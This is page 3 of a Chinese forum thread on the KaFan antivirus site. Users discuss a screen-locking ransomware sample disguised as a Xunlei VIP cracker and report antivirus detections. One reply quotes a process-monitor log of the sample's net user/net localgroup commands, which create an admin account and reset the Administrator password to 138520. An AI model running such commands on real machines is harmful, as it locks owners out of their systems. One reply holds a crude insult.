123
返回列表 发新帖
楼主: wjy19800315
收起左侧

[病毒样本] 刚刚不小心中招了

  [复制链接]
山陵自出
发表于 2016-9-19 15:20:54 | 显示全部楼层
小红伞没报
KF2276Q
发表于 2016-9-19 16:00:39 | 显示全部楼层
火绒  右键扫描

【1】2016-09-19 15:58:46,反病毒,病毒查杀,发现病毒Ransom/Genasom.f,清除成功

文件路径:F:\****????\迅雷黄金VIP账号提取器.7z >> 迅雷VIP破解器.exe
病毒名:Ransom/Genasom.f
病毒ID:ab94771133cbceff
处理结果:清除成功
haowen888
发表于 2016-9-19 16:23:47 | 显示全部楼层
本帖最后由 haowen888 于 2016-9-19 16:29 编辑

趋势双击中招   卡巴双击中招 按ctrl+alt+shift+f4解锁  不过还是中招   重启需要密码
如果是敲竹杠有点低级   应该是个玩笑程序
thevil
发表于 2016-9-19 18:20:17 | 显示全部楼层

以身试毒的勇士啊
末日旅者
发表于 2016-9-19 18:35:56 | 显示全部楼层
窝先加Q问候一下他家女性
linzh
发表于 2016-9-20 02:49:53 | 显示全部楼层
胖福 发表于 2016-9-19 07:43
双击过BD,开机被添加了密码!

看右下角那个
linzh
发表于 2016-9-20 02:58:35 | 显示全部楼层
本帖最后由 linzh 于 2016-9-20 03:17 编辑

全程过BD,任务管理器杀之~
我发现win10 rs1的任务管理器加强了,可以置于置于顶层的程序顶层(好绕),我截图的时候都要任务管理器最小化
这辣鸡使用易语言编的哦。。
这提示真温馨~
测完这里改密码就好了

进程操作监控
创建进程:无
启动参数:net localgroup administrators +密码在给你的那个人那里 /add
创建进程:无
启动参数:net user 密码在给你的那个人那里 138520 /add
创建进程:无
启动参数:net user Administrator 138520
创建进程:无
启动参数:net1 localgroup administrators +密码在给你的那个人那里 /add
创建进程:无
启动参数:net1 user Administrator 138520
创建进程:无
启动参数:net1 user 密码在给你的那个人那里 138520 /add

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
Predator_W
发表于 2016-9-20 15:43:09 | 显示全部楼层
勒索??
MelissaBenoist
发表于 2016-9-26 08:54:38 | 显示全部楼层

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
luoyanhao
发表于 2016-11-24 22:54:18 | 显示全部楼层
积分不够真是看帖困难
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-11-25 08:53 , Processed in 0.101266 second(s), 14 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表